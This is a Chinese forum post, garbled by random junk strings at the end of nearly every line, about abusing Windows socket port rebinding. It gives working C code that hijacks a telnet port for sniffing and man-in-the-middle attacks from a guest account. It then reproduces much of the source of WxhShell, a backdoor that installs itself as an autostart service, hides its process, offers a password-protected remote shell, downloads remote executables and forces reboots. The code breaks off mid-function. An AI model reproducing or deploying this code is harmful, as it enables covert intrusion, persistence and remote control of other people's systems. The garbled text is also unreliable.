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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X%98k'h.y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^H!45ph?Jc  
qoP /` Y6  
  saddr.sin_family = AF_INET; ]i/Bq!d l  
/,yRn31[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zet80|q  
|\U5m6q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >|pN4FS  
a0jzt!ci  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ydTd.`  
Gn%"B6  
  这意味着什么?意味着可以进行如下的攻击: (]nX:t  
$!vK#8-&{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =p[a Cb i  
".{'h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z.~jqxA9  
(j-_iOQ]i+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '-BD.^!!  
Eq=j+ch7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2@!B;6*8q  
48,uO !  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3ESrd"W=  
!A:d9 k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d f j;e%H  
}Oq P`B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xnDst9%  
Q0%s|8Jc  
  #include HPX JRQBE  
  #include uE}$ZBi q  
  #include cR=o!2O  
  #include    tZY6{,K%4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B"rO  
  int main() C^fn[plL  
  { & h\!#X0  
  WORD wVersionRequested; IQWoK"B  
  DWORD ret; K 8W99:v  
  WSADATA wsaData; LMNmG]#!  
  BOOL val; i!*8@:VI  
  SOCKADDR_IN saddr; MnP+L'|  
  SOCKADDR_IN scaddr; B2Kh~Xd  
  int err; %R<xe.X  
  SOCKET s; A`* l+M^z  
  SOCKET sc; bZ#5\L2  
  int caddsize; 6MpV ,2:>  
  HANDLE mt; ; Kh!OBZFo  
  DWORD tid;   nwVW'M]r  
  wVersionRequested = MAKEWORD( 2, 2 ); 4>Y*owa4  
  err = WSAStartup( wVersionRequested, &wsaData ); A: O"N  
  if ( err != 0 ) { zJ_y"bt  
  printf("error!WSAStartup failed!\n"); SPp|/ [i7  
  return -1; +OZ\rs  
  } HLCI  
  saddr.sin_family = AF_INET; <rFh93  
   =z4J[8bb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (v&iXD5t  
xKkXr-yb`f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8H,k0~D  
  saddr.sin_port = htons(23); ~ \b~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #S(b2LEc  
  { }1 j'  
  printf("error!socket failed!\n"); =&)R2pLs*  
  return -1; 7M~/[f7Z{  
  } %Iiu#- 'B  
  val = TRUE; buDz]ec b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X6j:TF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J(SGaHm@  
  { ('2Z&5  
  printf("error!setsockopt failed!\n"); TUARYJ6=  
  return -1; m%b# B>J,n  
  } !AG {`[b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f VJWW):  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "8L v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rN,T}M= 2  
=y=MljEX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &(m01  
  { VI-6t"l  
  ret=GetLastError(); dl(!{tZ#  
  printf("error!bind failed!\n"); qC B{dp/  
  return -1; XRTiC #6  
  } K'y|_XsBB)  
  listen(s,2); 03.\!rZZ  
  while(1) $}fY B/  
  { %/d1x  
  caddsize = sizeof(scaddr); s{*bFA Z1F  
  //接受连接请求 Z)f?X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); czsnPmNEI  
  if(sc!=INVALID_SOCKET) r5y*SoD!  
  { 1B@7#ozWA?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?Iu=os>*  
  if(mt==NULL) ff]fN:}V  
  { r[wjE`Z/T  
  printf("Thread Creat Failed!\n"); 4(,M&NC  
  break; xW7[VTXc^  
  } P&yB(M-z  
  } F:~@e(  
  CloseHandle(mt);  ?<T=g  
  } /!N=@z)  
  closesocket(s); LQR^lD+_=  
  WSACleanup(); =&<d4'(Qk  
  return 0; x<7?  
  }   Ko)f:=Qo  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7EVB|gTp  
  { s~ou$!|  
  SOCKET ss = (SOCKET)lpParam; 6  $`l  
  SOCKET sc; ErgWsAw-  
  unsigned char buf[4096]; sLWVgD  
  SOCKADDR_IN saddr; HA[7)T N1E  
  long num; (/E@.z[1  
  DWORD val; 0\, !  
  DWORD ret; R\<d&+q@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XM#nb$gl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]^Xj!01~  
  saddr.sin_family = AF_INET; =MvB9gx@r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "x nULQK  
  saddr.sin_port = htons(23); Xkk 8#Y":  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) li{!Jp5]1b  
  { C{+JrHV%h  
  printf("error!socket failed!\n"); j6j4M,UI43  
  return -1; #. 71O#!  
  } `2]TPaWGh  
  val = 100; /} h"f5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @>8 {J6%\  
  { ou{V/?rb  
  ret = GetLastError(); :, 3S5!(y  
  return -1; T^{=cx9x9  
  } dK;ebg9|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |9p0"#4u  
  { Xq<_r^  
  ret = GetLastError(); VGc.yM)& j  
  return -1; bcT'!:  
  } Xoha.6$l5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !R@jbM  
  { drvrj~o:  
  printf("error!socket connect failed!\n"); m4yWhUi(o  
  closesocket(sc); KzJJ@D*4M]  
  closesocket(ss); Q- w_ @~  
  return -1; #N%j9  
  } EB@rIvUi,  
  while(1) m#-&<=  
  { ddbQFAQQQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T%;NW|mH&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QjD=JC+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1f'msy/  
  num = recv(ss,buf,4096,0); oKH+Q6S:  
  if(num>0) &C)97E  
  send(sc,buf,num,0); ru~!;xT  
  else if(num==0) bAy\Sr #/  
  break; !R gj'{  
  num = recv(sc,buf,4096,0); mD|Q+~=|e  
  if(num>0) dK0H.|  
  send(ss,buf,num,0); i29a1nD4Hm  
  else if(num==0) 9p1@Lfbj  
  break; VDxF%!h(  
  } BR_fOIDc  
  closesocket(ss); TQPrOs?  
  closesocket(sc); fn.;C  
  return 0 ; ~N7;. 3 7  
  } gVy`||z  
4#:C t* f  
EXwU{Hl  
========================================================== j)#yyK{k2s  
7j29wvSp5  
下边附上一个代码,,WXhSHELL 6urU[t1  
6'.)z ,ts  
========================================================== ((<\VQ,>(  
J1Az+m  
#include "stdafx.h" \Lg4Cx  
rO YD[+  
#include <stdio.h> mIPDF1= )  
#include <string.h> {+[ Ex2b$  
#include <windows.h> j(}pUV B  
#include <winsock2.h> ~ Nf|,{[(5  
#include <winsvc.h>  Mz+vT0  
#include <urlmon.h> )vpYVr-  
cd=K=P}p  
#pragma comment (lib, "Ws2_32.lib") NciIqF  
#pragma comment (lib, "urlmon.lib") Pc7p2  
ruyQ}b:zS  
#define MAX_USER   100 // 最大客户端连接数 mNEh\4ai  
#define BUF_SOCK   200 // sock buffer 0c8_&  
#define KEY_BUFF   255 // 输入 buffer TP~1-(M)}  
NFC/4  
#define REBOOT     0   // 重启 C\vOxBAB  
#define SHUTDOWN   1   // 关机 ,yvS c  
/{[p?7x>  
#define DEF_PORT   5000 // 监听端口 q~Al[`K  
rl&.|;5uH;  
#define REG_LEN     16   // 注册表键长度 )4.-6F7U?  
#define SVC_LEN     80   // NT服务名长度 ^SW9J^9  
K4+|K:e  
// 从dll定义API k*!iUz{]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6eA)d#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I6gduvkXi4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xr'b{&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jSRi  
UX<)hvKj  
// wxhshell配置信息 HgBu:x?&  
struct WSCFG { SqdI($F\:  
  int ws_port;         // 监听端口 Q1x15pVku/  
  char ws_passstr[REG_LEN]; // 口令 D;jbZ9  
  int ws_autoins;       // 安装标记, 1=yes 0=no CS5[E-%}T=  
  char ws_regname[REG_LEN]; // 注册表键名 -WR<tkK  
  char ws_svcname[REG_LEN]; // 服务名 2;J\Z=7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,V^$Meh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^".6~{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6j+X@|2^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;*ULrX4[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O: #Sj jK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r* l c#  
F?0Q AA  
}; qZ +K4H  
 WK@<#  
// default Wxhshell configuration ?Zk;NL9  
struct WSCFG wscfg={DEF_PORT, Q#.E-\=^  
    "xuhuanlingzhe", Li$2 Gpc/  
    1, 0&b;!N!vJ  
    "Wxhshell", N8x.D-=gG  
    "Wxhshell", #6l(2d  
            "WxhShell Service", 45$aq~%as  
    "Wrsky Windows CmdShell Service", q)KOI` A  
    "Please Input Your Password: ", rk@qcQR  
  1, 8xG"hJR  
  "http://www.wrsky.com/wxhshell.exe", [Fv,`*/sm  
  "Wxhshell.exe" i}i >ho-8  
    }; +P,ic*Kq*  
rLA-q||  
// 消息定义模块 a2kAZCQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c&{= aIe w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Yx,7e(AI`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G007[|  
char *msg_ws_ext="\n\rExit."; Jf\`?g3#  
char *msg_ws_end="\n\rQuit."; (0.JoeA`y  
char *msg_ws_boot="\n\rReboot..."; V<;_wO^  
char *msg_ws_poff="\n\rShutdown..."; 0IA' 5)  
char *msg_ws_down="\n\rSave to "; L/I ] NA!U  
5J1a8RBR  
char *msg_ws_err="\n\rErr!"; +Ar4X-A{y  
char *msg_ws_ok="\n\rOK!"; [!8b jc]c  
81!;Wt(?  
char ExeFile[MAX_PATH]; 1<MJ3"60  
int nUser = 0; }gB^C3b6  
HANDLE handles[MAX_USER]; ;ceg:-Zqo  
int OsIsNt; ccp9nXv  
$J,$_O6  
SERVICE_STATUS       serviceStatus; V0&7MY*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 01uj-!D$@  
&GvSgdttv  
// 函数声明 ~l{Qz0&  
int Install(void); oDJ &{N|  
int Uninstall(void); ! hEZV&y  
int DownloadFile(char *sURL, SOCKET wsh); mFxt +\  
int Boot(int flag); H~SU:B:  
void HideProc(void); ?4Fev_5m  
int GetOsVer(void); 5p5"3m;M7  
int Wxhshell(SOCKET wsl); e"XolM0IM  
void TalkWithClient(void *cs); .tyV =B:h  
int CmdShell(SOCKET sock); </?ef&  
int StartFromService(void); mH5>50H;  
int StartWxhshell(LPSTR lpCmdLine); Ggst s  
6d2e WS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *.+F]-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i[{*(Y$L  
qt/6o|V  
// 数据结构和表定义 PMW@xk^<Y  
SERVICE_TABLE_ENTRY DispatchTable[] = >K1e=SY  
{ bFlI:R&<  
{wscfg.ws_svcname, NTServiceMain}, e7\gd\  
{NULL, NULL} 1 XJZuv,T:  
}; [7[Qw]J  
[KbLEMrPba  
// 自我安装 NWQ7%~#k*  
int Install(void) ~ b66 ;  
{ qLc&.O.=  
  char svExeFile[MAX_PATH]; )  LTV+?  
  HKEY key; ko'V8r `V  
  strcpy(svExeFile,ExeFile); ^P/OHuDL  
 w}t}Sh  
// 如果是win9x系统,修改注册表设为自启动 (x.qyYEoI  
if(!OsIsNt) { 6Yt3Oq<U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NLYf   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x2aG5@<3  
  RegCloseKey(key); 61OlnmvE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gl45HyY_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I,,SR"  
  RegCloseKey(key); 5J&Gc;  
  return 0; _5O~ ]}  
    } XFl&(I4tB  
  } :?m"kh ~  
} zxx9)I@?A  
else { A&%7Z^Pp  
@,6*yyO  
// 如果是NT以上系统,安装为系统服务 "{H{-`Ni  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fb^R3wd$ff  
if (schSCManager!=0) ~| ZAS]  
{ j \d)#+;  
  SC_HANDLE schService = CreateService O#C0~U]dDW  
  ( m39.j:BG5  
  schSCManager, OT6Te&  
  wscfg.ws_svcname, 9.( [,J  
  wscfg.ws_svcdisp, zcH"Kh&  
  SERVICE_ALL_ACCESS, a>,_o(]cW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >uQjygjj  
  SERVICE_AUTO_START, 7!m<d,]N  
  SERVICE_ERROR_NORMAL, '"rm66  
  svExeFile, 5nceOG8  
  NULL, Nlwt}7  
  NULL, Z("N *`VP;  
  NULL,  CWYOzqf  
  NULL, qt"6~r!  
  NULL TeR bW  
  ); p} eO  
  if (schService!=0) "[7'i<,AI  
  { f4NN?"W)  
  CloseServiceHandle(schService); vS3Y9|-:  
  CloseServiceHandle(schSCManager); V$Oj@vI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R"CF xo  
  strcat(svExeFile,wscfg.ws_svcname); `zl,|}u)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g}a+%Obb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?@`5^7*  
  RegCloseKey(key); $*P +   
  return 0; h4Arg~Or  
    } lU&2K$`  
  } 9(vp`Z8B4  
  CloseServiceHandle(schSCManager); "SWL@}8vx  
} E piF$n  
} 'xa EG,P  
iS"6)#a72  
return 1; I|c?*~7*  
} dXsL0r*c  
$-!7<a-  
// 自我卸载 +2Aggv>*  
int Uninstall(void) ;G"!y<F  
{ jO*H8 XO  
  HKEY key; Qx!Bf_,J  
Y(EF )::  
if(!OsIsNt) { *p0n^XZ% ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8. +f@wv  
  RegDeleteValue(key,wscfg.ws_regname); Fy$ C._C$  
  RegCloseKey(key); T<y fpUzX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~G6xk/+n-m  
  RegDeleteValue(key,wscfg.ws_regname); /6n"$qon6  
  RegCloseKey(key); wnLpf  
  return 0; }v_|N"@  
  } k][{4~z  
} r8czDc),b  
} ybv< 1  
else { n%~r^ C_  
d0zp89BEn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UX|3LpFX&I  
if (schSCManager!=0) <+b~E,  
{ !A|}_K1Cr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s`.J!^u`  
  if (schService!=0) <dBz]W  
  { vQ $"|8,  
  if(DeleteService(schService)!=0) { \X]I: 0^j  
  CloseServiceHandle(schService); p#r qe<Ua  
  CloseServiceHandle(schSCManager); >!o!rs  
  return 0; O]F(vHK\   
  } +x4*T  
  CloseServiceHandle(schService); 4ISIg\:c*  
  } pXh`o20I  
  CloseServiceHandle(schSCManager); I!K-* AB  
} o4z|XhLr  
} 0XyPG  
[E2".F3  
return 1; Zny9TP  
} {%, 4P_m  
PtL8Kd0`C  
// 从指定url下载文件 i-dosY`81  
int DownloadFile(char *sURL, SOCKET wsh) YX3NZW2i  
{ BuC\Bd^0  
  HRESULT hr; L"jjD:  
char seps[]= "/"; r]~]-VZ/  
char *token; s(L!]d.S$y  
char *file; Bw[IW[(~!  
char myURL[MAX_PATH]; c5i7mx:.  
char myFILE[MAX_PATH]; #X'su`+  
3qV\XC+  
strcpy(myURL,sURL); 37M,Os1(  
  token=strtok(myURL,seps); ']OT7)_  
  while(token!=NULL) Hf30ve}  
  { *Id[6Z  
    file=token; RgM=g8}M  
  token=strtok(NULL,seps); ~rAcT6#  
  } kKC] n   
 Sb)}  
GetCurrentDirectory(MAX_PATH,myFILE);  5pHv5e  
strcat(myFILE, "\\"); V;~\+@  
strcat(myFILE, file); "#f5jH  
  send(wsh,myFILE,strlen(myFILE),0); -h8Z@r~a/  
send(wsh,"...",3,0); 6D{70onY+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G2|G}#E  
  if(hr==S_OK) , BZ(-M  
return 0; 0+e 0<'  
else 2:yXeSeA  
return 1; M%SNq|Lo  
nKTi"2dm  
} a785xSUV  
v`6vc)>8  
// 系统电源模块 !l6ht {  
int Boot(int flag) Un5 AStG  
{ Ak O-PL  
  HANDLE hToken; yaHkWkl =  
  TOKEN_PRIVILEGES tkp; 9u3P>a~b  
v+<4?]EJ  
  if(OsIsNt) { sdgI ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Az>r}*F Gr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mdu\ci)lr  
    tkp.PrivilegeCount = 1; ,. <c|5R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BcQw-<veu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X%7l! k[  
if(flag==REBOOT) { RYl\Q,#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `\=~ $&vjC  
  return 0; ~!%G2E!  
} <si cldz  
else { @;S)j!m`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q+w] Xs;  
  return 0; 6G_{N.{(  
} )M7~RN  
  } <9;X1XtpI  
  else { Ngm/5Lc  
if(flag==REBOOT) { 8'v:26   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s)sT\crP@  
  return 0; [DtMT6F3  
} Z 2$S'}F  
else { MY(51)*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pb59RE:7V  
  return 0; 8CvNcO;H0  
} m/,8\+  
} GQE7P()  
a%/x  
return 1; {OS[0LB  
} wDBU+Z  
m?;/H  
// win9x进程隐藏模块 b%VZPKA;  
void HideProc(void) ,}I m^~5  
{ -KqMSf&9  
'loko#6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /c7jL4oD  
  if ( hKernel != NULL ) (^<skx>  
  { =#&+w[4?&.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X7MA>j3m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T@n};,SQ  
    FreeLibrary(hKernel); ;YBk.} %  
  } 9h6siK(F  
`vf]C'  
return; aq(i^d  
} Kzwe36O;?  
yv$hIU2X  
// 获取操作系统版本 U\[b qw  
int GetOsVer(void) G^/8^Zi  
{ )31xl6@  
  OSVERSIONINFO winfo; EKmn@S-&P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;iUO1t)^  
  GetVersionEx(&winfo); Go[anf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~ D/1U)kt  
  return 1; v <| iN#  
  else 1Z_ H% (  
  return 0; fvA167\  
} pE.TG4  
r8o^8.  
// 客户端句柄模块 <anU#bEuQ  
int Wxhshell(SOCKET wsl) i3$pqNe  
{ @CC 6 `D  
  SOCKET wsh; Y{X%C\  
  struct sockaddr_in client; _) UnHp_^  
  DWORD myID; CUaL  
$vn x)#r3  
  while(nUser<MAX_USER) #"[EVF0%1D  
{ P|;f>*^Y  
  int nSize=sizeof(client); R~RE21kAc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OA[fQH#{lX  
  if(wsh==INVALID_SOCKET) return 1; 5`::#[  
}=u#,nDl>$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  D28>e  
if(handles[nUser]==0) q$}gQ9'z'  
  closesocket(wsh); 71\GK  
else OM@z5UP  
  nUser++; $ao7pvU6  
  } f{{J_""?&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MK!Aq^Jz  
L#!m|_Mz  
  return 0; }%0X7'  
} _gl1Qtv@rf  
r( zn1;zl  
// 关闭 socket t&_X{!1X"w  
void CloseIt(SOCKET wsh) &(|x-OT  
{ U8<C4  
closesocket(wsh); s/P+?8'9  
nUser--; cSmy M~[  
ExitThread(0); iaRCV 6cl  
} "Sw raq  
GX*9R>  
// 客户端请求句柄 1buO&q!vn  
void TalkWithClient(void *cs) p.x2R,CU  
{ `9acR>00$  
<2O XXQ1  
  SOCKET wsh=(SOCKET)cs; o ethO  
  char pwd[SVC_LEN]; RE08\gNIt  
  char cmd[KEY_BUFF]; [|(=15;  
char chr[1]; C)%qs]  
int i,j; s&\krW &  
D@c@Dt  
  while (nUser < MAX_USER) { fC$@m_-KD  
]q&NO(:kbq  
if(wscfg.ws_passstr) { y QGd<(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5>~D3?IAd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? Q"1zcX  
  //ZeroMemory(pwd,KEY_BUFF); ?0lz!Nq'S  
      i=0; 9H+Q/Q*-a  
  while(i<SVC_LEN) { }|Bs|$q  
1*trtb4F  
  // 设置超时 g3(LDqB'.  
  fd_set FdRead; ^^*Ia'9   
  struct timeval TimeOut; ZM [Z9/S8  
  FD_ZERO(&FdRead); dKa2_|k'  
  FD_SET(wsh,&FdRead); r5N H*\Q  
  TimeOut.tv_sec=8; }$(\,SzW  
  TimeOut.tv_usec=0; BW"24JhF"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x]t$Zb/Uxa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v'r)d-T   
;f)AM}~^Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c Ze59  
  pwd=chr[0]; kX+98?h-C  
  if(chr[0]==0xd || chr[0]==0xa) { aF>&X-2  
  pwd=0; `^h:} V  
  break; q*cEosi'F?  
  } r^ABu_u(`I  
  i++; T*'WS!z  
    } wGx H  
sFsf~|  
  // 如果是非法用户,关闭 socket ^Ww5@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2)-4?uz~  
} z :u)@>6D1  
bc>&Qj2Z7c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rU 1Ri  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ACpecG  
QuC_sFP10  
while(1) { _7dp(R  
be?Bf^O>  
  ZeroMemory(cmd,KEY_BUFF); Z{?T1 =n  
1pjx8*!B  
      // 自动支持客户端 telnet标准   !t\sg  
  j=0; (/X ]9  
  while(j<KEY_BUFF) { Ei=rBi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =J'Q%qN<Zd  
  cmd[j]=chr[0]; Hlpt zez  
  if(chr[0]==0xa || chr[0]==0xd) { ]0W64cuT  
  cmd[j]=0; %.HLO.A  
  break; 5Sb-Bn  
  } ]ZNFrpq  
  j++; Q8$;##hzt  
    } zV(aw~CbZ  
z";(0%  
  // 下载文件 W{~ y< `D  
  if(strstr(cmd,"http://")) { s^Xs*T@~h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t]?{"O1rC  
  if(DownloadFile(cmd,wsh)) ]bYmM@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 08! _B\  
  else 4&v&XLkb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f>3)}9?xc}  
  } n^*,JL 9@  
  else { oA@c.%&  
pWP1$;8   
    switch(cmd[0]) { [a?bv7Kz  
  A;o({9VH`Z  
  // 帮助 Ge^,hAM'  
  case '?': { ^66OzT8A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =YD<q:n4  
    break; (!YJ:,!so  
  } $aN%[  
  // 安装 aIh} j,  
  case 'i': {  QS1lg  
    if(Install()) ($W%&(:/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zS h9`F  
    else *zW]IQ'A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ex skd}  
    break; v5U'ky :  
    } 9<3fH J?vq  
  // 卸载 ze21Uj1x*  
  case 'r': { M0OIcMTv  
    if(Uninstall()) 4;eD}g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KVUub'k  
    else g yhy0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dczSW ]%  
    break; u]i%<Yy89  
    } C%CgWO`Xj  
  // 显示 wxhshell 所在路径 q?@*  
  case 'p': { GSd:Plc%  
    char svExeFile[MAX_PATH]; \&ki79Ly-  
    strcpy(svExeFile,"\n\r"); )d2:r 07a  
      strcat(svExeFile,ExeFile); 8=zREt<Se  
        send(wsh,svExeFile,strlen(svExeFile),0); C[d1n#@r  
    break; ]>%2,+5  
    } &0fV;%N  
  // 重启 # z7yoP  
  case 'b': { #M5d,%?+#[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5?([jAOf  
    if(Boot(REBOOT)) w~Nat7nD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cpy&2o-%v  
    else { TQ0ZBhd  
    closesocket(wsh); Sw5:T  
    ExitThread(0); S.q0L  
    } bOp%  
    break; b#R$P]dr=  
    } pS}IU{#;  
  // 关机 Upcx@zJ  
  case 'd': { R0LWuE%eD  
